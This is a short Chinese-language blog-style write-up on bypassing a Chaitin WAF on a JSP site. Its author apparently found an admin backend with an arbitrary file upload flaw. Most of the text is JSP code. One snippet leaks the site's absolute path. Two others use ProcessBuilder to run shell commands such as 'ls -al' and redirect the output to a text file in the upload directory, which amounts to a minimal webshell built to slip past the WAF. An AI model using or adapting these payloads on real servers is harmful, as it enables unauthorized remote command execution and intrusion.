Jsp 站绕长亭 WAF 小记

770

前言

偶然进了个后台,存在任意文件上传漏洞,但是常规的 webshell 均被杀,但是确实是可以解析的。

获取绝对路径

上传该脚本,获取网站绝对路径

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JSP Page Absolute Path</title>
</head>
<body>
    <h1>The absolute path of this JSP page is:</h1>
    <%
        // 获取当前页面的相对路径
        String relativePath = request.getServletPath();
        // 使用ServletContext获取绝对路径
        String absolutePath = application.getRealPath(relativePath);
        // 输出绝对路径
        out.println(absolutePath);
    %>
</body>
</html>

创建文件

创建一个 txt 文件,用于保存命令执行结果

<% Process process = new ProcessBuilder(new
String[]{"touch","/data1/tomcat-80/webapps/ROOT/uploadfiles/1/sec.txt"}).start(); %>

执行命令并重定向

<%@ page import="java.io.File" %>

<%

String tempFilePath = "/data1/tomcat-80/webapps/ROOT/uploadfiles/1/sec.txt"; 

ProcessBuilder pb = new ProcessBuilder(new String[]{"ls","-al"});//逗号=空格  "ifconfig"

pb.redirectOutput(new File(tempFilePath));

Process process = pb.start();

%>

访问该文件后,命令执行结果会被重定向到 sec.txt

访问 sec.txt,即可得到结果